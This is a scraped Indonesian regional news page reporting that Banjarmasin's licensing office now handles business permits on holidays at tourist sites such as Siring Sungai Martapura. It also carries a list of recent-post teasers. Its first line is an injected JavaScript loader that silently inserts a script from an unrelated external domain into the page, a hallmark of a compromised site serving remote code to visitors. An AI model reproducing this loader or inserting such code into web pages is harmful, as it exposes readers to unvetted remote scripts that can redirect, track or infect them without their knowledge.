(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Urus Izin Kini Bisa Dilakukan Sambil Liburan di Tempat Wisata


BANJARMASIN, Terobosan pelayanan dilakukan Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTSP) Banjarmasin untuk memberikan akses kemudahan pengurusan izin. Yakni dengan membuka pelayanan pengurus izin usaha di hari libur.

Kepala Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTSP) Kota Banjarmasin, Ir Muryanta di Banjarmasin mengatakan, upaya tersebut dilakukan untuk memberikan kesempatan bagi para pengusaha yang sibuk saat hari kerja agar bisa mengurus izin usaha saat hari libur.

Namun demikian, pelayanan ini dibuka tidak di kantor tetapi di tempat wisata atau keramaian seperti di daerah Siring Sungai Martapura Jalan Piere Tendean Banjarmasin.

“Untuk sementara pelayanan perizinan tersebut kita buka di Siring, sehingga masyarakat bisa mengurus izin usahanya sekaligus berwisata,” katanya.

Selain di dua tempat tersebut, kedepannya pelayanan model ini juga akan di beberapa tempat lainnya seperti di Mall atau tempat keramaian. Diharapkan, melalui peningkatan pelayanan hari libur tersebut, akan mampu meningkatkan kesadaran para pengusaha maupun UMKM, untuk mengurus izin usahanya.

Selain itu, tambah dia, juga akan mampu meningkatkan investasi di daerah dan menumbuhkan wiraswasta baru di Kota Banjarmasin. “Untuk sementara, baru empat perizinan yang kita layani di hari libur, dan diharapkan dalam waktu dekat akan menjadi 20 dan pada akhirnya, semua perizinan bisa dilayani di hari libur,” ujarnya.

Keempat perizinan tersebut yaitau, Surat Keterangan Tanda Usaha (SKTU), Surat Izin Usaha Perdagangan (SIUP) dan pengurusan izin Tanda Daftar Perusahaan (TDP). “Silahkan masyarakat yang ingin mengurus izin datang di hari libur, Insya Allah akan kita layani dengan baik,” katanya.

Program perizinan satu hari selesai tersebut antara lain untuk perpanjangan Surat Keterangan Tanda Usaha (SKTU), Surat Izin Usaha Perdagangan (SIUP) dan pengurusan izin Tanda Daftar Perusahaan (TDP). Melalui program tersebut, diharapkan bisa mendorong tumbuhnya investasi dan wiraswasta baru di Banjarmasin. “Sehingga pertumbuhan ekonomi bisa berjalan dengan lebih cepat,” katanya.(ammar)

Reporter : Ammar
Editor : Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.